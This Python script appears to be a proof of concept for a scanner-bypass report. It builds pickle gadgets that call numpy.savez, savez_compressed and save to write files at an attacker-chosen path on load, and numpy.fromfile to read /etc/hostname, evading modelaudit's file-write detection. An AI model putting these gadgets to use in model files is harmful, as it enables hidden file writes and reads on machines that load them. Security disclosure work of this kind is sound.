#!/usr/bin/env python3 """ BL-0102 gadget builder -- modelaudit 0.2.49 numpy.savez / savez_compressed file-write-on-load scanner bypass. Builds four standalone pickle files that each carry a single REDUCE opcode: evil_savez.pkl -> numpy.savez(/MARK_savez, [13.37]) evil_savez_compressed.pkl -> numpy.savez_compressed(/MARK_savezc, [13.37]) control_numpy_save.pkl -> numpy.save(/MARK_save, [13.37]) (POSITIVE CONTROL) secondary_fromfile.pkl -> numpy.fromfile('/etc/hostname') (READ-side corroboration) Payloads are BENIGN: they write a small, valid .npz/.npy marker to an attacker-controlled ABSOLUTE path, or read a world-readable file. No RCE, no network, no destructive action. The REDUCE that pickle emits here is identical to what an attacker would ship inside a .pkl / PyTorch .bin / joblib model file; on unpickle Python calls the first element (numpy.savez) with the second element (the args tuple). Usage: python build_gadgets.py [OUTDIR] (default OUTDIR=/work/final) """ import os import pickle import sys OUTDIR = sys.argv[1] if len(sys.argv) > 1 else "/work/final" os.makedirs(OUTDIR, exist_ok=True) MARK_SAVEZ = os.path.join(OUTDIR, "MARK_savez") # numpy.savez appends .npz MARK_SAVEZC = os.path.join(OUTDIR, "MARK_savezc") # -> .npz MARK_SAVE = os.path.join(OUTDIR, "MARK_save") # numpy.save appends .npy MARKER_CONTENT = [13.37] class SavezGadget: def __reduce__(self): import numpy return (numpy.savez, (MARK_SAVEZ, MARKER_CONTENT)) class SavezCompressedGadget: def __reduce__(self): import numpy return (numpy.savez_compressed, (MARK_SAVEZC, MARKER_CONTENT)) class SaveGadget: # POSITIVE CONTROL: numpy.save reaches builtins.open('wb') directly, # so modelaudit's FILE_WRITE call-graph analyzer flags it CRITICAL. def __reduce__(self): import numpy return (numpy.save, (MARK_SAVE, MARKER_CONTENT)) class FromfileGadget: # SECONDARY: arbitrary file READ via numpy.fromfile (C-level reader, # opaque to the Python source call-graph). def __reduce__(self): import numpy return (numpy.fromfile, ("/etc/hostname",)) def emit(name, obj): path = os.path.join(OUTDIR, name) with open(path, "wb") as f: # protocol 0 -> human-readable REDUCE, easy to disassemble pickle.dump(obj, f, protocol=0) return path built = [ emit("evil_savez.pkl", SavezGadget()), emit("evil_savez_compressed.pkl", SavezCompressedGadget()), emit("control_numpy_save.pkl", SaveGadget()), emit("secondary_fromfile.pkl", FromfileGadget()), ] print("BUILT:") for p in built: print(f" {p} ({os.path.getsize(p)} bytes)") # Show the opcode stream of the primary gadget so the REDUCE is auditable. import pickletools # noqa: E402 print("\n=== pickletools.dis(evil_savez.pkl) ===") with open(os.path.join(OUTDIR, "evil_savez.pkl"), "rb") as f: pickletools.dis(f.read())